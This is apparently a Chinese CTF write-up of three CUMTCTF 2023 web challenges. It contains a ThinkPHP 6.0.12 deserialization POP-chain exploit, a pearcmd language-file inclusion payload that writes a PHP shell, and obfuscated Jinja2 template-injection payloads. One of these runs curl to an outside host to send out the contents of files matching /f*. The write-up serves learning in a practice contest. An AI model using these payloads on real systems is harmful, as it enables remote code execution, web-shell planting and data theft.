CUMTCTF 2023
web
Week1-Web1
这次第一题就给我搞不太明白,点进去是这样

看标题以为是 sql 注入,就去把那几种方法都试了一遍,发现都不行
后面发现是真的要算这个式子,想到之前看过的一道题
在一个大佬那里找了个脚本来试试https://blog.csdn.net/specter11235/article/details/74999770/
import re #正则模块
import requests
s = requests.Session()
url = 'http://1.hacklist.sinaapp.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php'
r = s.get(url)
r.encoding = 'utf-8' #修改编码
print(r.text)
num = re.findall(re.compile(r'<br/>\s+(.*?)='), r.text)[0] #正则表达式找到算术式
print ('result:\n\n%s=%d\n' % (num, eval(num))) #输出算术式计算结果
r = s.post(url, data={'v': eval(num)}) #将结果提交 抓包可看出要用v提交
print (r.text) #输出返回结果
但是运行不了,很明显不是这样找算式的,甚至它有两个 num1
然后又试了一下之前捣鼓过的 selenium 模块,能不能用浏览器模拟点击的方法,发现也是不行
呃然后在找第三题的过程中去学长 blog 上看到了去年的比赛的一个脚本https://124.221.153.250/archives/705
import requests
url="http://10.3.233.58:5000/"+"/flag?calc="
text=requests.get(url).text.split("<h3>")
num1,num2=int(text[1][5:-6]),int(text[2][5:-6])
calc=str(abs(num2-num1))
text=requests.get(url+calc).text
print(text.split("flag is:")[1].split("</h3>")[0])
这长得不能说很像只能说一模一样啊
改一下运行,直接就有了
Week1-Web2
干了几天才出的题来了(
一看到 thinkphp 就眼前一亮,想到之前在 newstar ctf 做过的一题 thinkphp 反序列化用 cookie 传的漏洞,直接去搜 6.0.12 的版本
出来的全是反序列化,给我看兴奋了
但是这个漏洞的前置条件有一个就是开放了控制器去 get 反序列化命令
首先我们要知道 thinkphp 他是怎么玩的,我们可以用 Composer 安装,使用https://www.kancloud.cn/manual/thinkphp6_0/1037481官方教程中的方法。
之后使用 composer create-project topthink/think tp 安装 thinkphp
看有一些教程是用 phpstudy 环境运行的,但是我试了几次都不行,只能用 php think run 然后访问 http://localhost:8000/
再去看一下这个里面的各个文件的作用
project 应用部署目录
├─application 应用目录(可设置)
│ ├─common 公共模块目录(可更改)
│ ├─index 模块目录(可更改)
│ │ ├─config.php 模块配置文件
│ │ ├─common.php 模块函数文件
│ │ ├─controller 控制器目录
│ │ ├─model 模型目录
│ │ ├─view 视图目录
│ │ └─ ... 更多类库目录
│ ├─command.php 命令行工具配置文件
│ ├─common.php 应用公共(函数)文件
│ ├─config.php 应用(公共)配置文件
│ ├─database.php 数据库配置文件
│ ├─tags.php 应用行为扩展定义文件
│ └─route.php 路由配置文件
├─extend 扩展类库目录(可定义)
├─public WEB 部署目录(对外访问目录)
│ ├─static 静态资源存放目录(css,js,image)
│ ├─index.php 应用入口文件
│ ├─router.php 快速测试文件
│ └─.htaccess 用于 apache 的重写
├─runtime 应用的运行时目录(可写,可设置)
├─vendor 第三方类库目录(Composer)
├─thinkphp 框架系统目录
│ ├─lang 语言包目录
│ ├─library 框架核心类库目录
│ │ ├─think Think 类库包目录
│ │ └─traits 系统 Traits 目录
│ ├─tpl 系统模板目录
│ ├─.htaccess 用于 apache 的重写
│ ├─.travis.yml CI 定义文件
│ ├─base.php 基础定义文件
│ ├─composer.json composer 定义文件
│ ├─console.php 控制台入口文件
│ ├─convention.php 惯例配置文件
│ ├─helper.php 助手函数文件(可选)
│ ├─LICENSE.txt 授权说明文件
│ ├─phpunit.xml 单元测试配置文件
│ ├─README.md README 文件
│ └─start.php 框架引导文件
├─build.php 自动生成定义文件(参考)
├─composer.json composer 定义文件
├─LICENSE.txt 授权说明文件
├─README.md README 文件
├─think 命令行入口文件
我们一般访问的就是 public 里面的 index.php,有一些地址配置的是根目录的话就需要 localhost/public/index.php 来访问
接下来因为我们要有个入口去传反序列化,就需要加一个 test 函数进去,接下来我们访问 /index.php/index/test?x= 然后传入反序列化后的数据就好了
于是就可以直接去网上找 exp
<?php
// 保证命名空间的一致
namespace think {
// Model需要是抽象类
abstract class Model {
// 需要用到的关键字
private $lazySave = false;
private $data = [];
private $exists = false;
protected $table;
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = false;
// 初始化
public function __construct($obj='') {
$this->lazySave = true;
$this->data = ['whoami'=>['whoami']];
$this->exists = true;
$this->table = $obj; // 触发__toString
$this->withAttr = ['whoami'=>['system']];
$this->json = ['whoami'];
$this->jsonAssoc = true;
}
}
}
namespace think\model {
use think\Model;
class Pivot extends Model {
}
// 实例化
$p = new Pivot(new Pivot());
echo urlencode(serialize($p));
}
但是传进去不行。。
那是当然,我们没有找到题目的入口
搜索一番发现 CISCN 有一题 ezpop 和这个很像,这里贴两个大佬的 blog
https://www.cnblogs.com/liangshao666/p/16514212.html#/c/subject/p/16514212.html
https://plumstar.cn/2022/07/02/tp6.0.x 反序列化漏洞/#V6-0-12
说的还是很详细的
但是你说源码泄露吧,dirsearch 扫描一番啥都没有,上面的题的 www.zip 肯定不行,看来是找错方向了,换个方向试试
提一嘴我看 f12 那里好多个包,就点进去那个 client.js 看一看,以为会有什么源码发现啥都没有就是 thinkphp 自带的
注意到在 cookie 那里有一个 think_lang
刚好在翻阅的过程中就看到了一个多语言文件包含漏洞
主要参考了这个https://blog.csdn.net/kali_Ma/article/details/128488771的get方法
首先用 pearcmd 的方法在 tmp 下创建 1.php
然后包含它就可以了,直接在 phpinfo 上就可以找到 flag
然后来说说为啥想了这么久,首先我看到的是传/index.php?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/=phpinfo()?>+/var/www/html/shell.php
说是说传成功了但是怎么都访问不到就很气,后面发现是传的位置不对。其实刚开始包含成功的时候我是没反应过来那个就是 phpinfo 的以为是什么乱码,就一直以为是通过 index.php 来间接访问,后面直接在浏览器输入/index.php?lang=../../../../../../../../../../../tmp/1 就出来这个了
其实这个是受https://forum.butian.net/share/2059的提醒
才反应过来可以在浏览器上这样访问的,flag 就藏在 phpinfo 里
总的来说这个就两步,但是因为想的方向不对并且一些方面还不懂就搞了好久,还是要多加学习
在这期间看到了一个很全面的文件包含的讲解 https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp
Week1-Web3
{%%0dif%0d()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(219)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("o""s")|attr("po""pen")("curl${IFS}http://795653328:8888?`cat${IFS}/f*`")|attr("re""ad")()%}1{%%0dendif%0d%}
{{()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(256)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("o""s")|attr("po""pen")("env")|attr("re""ad")()}}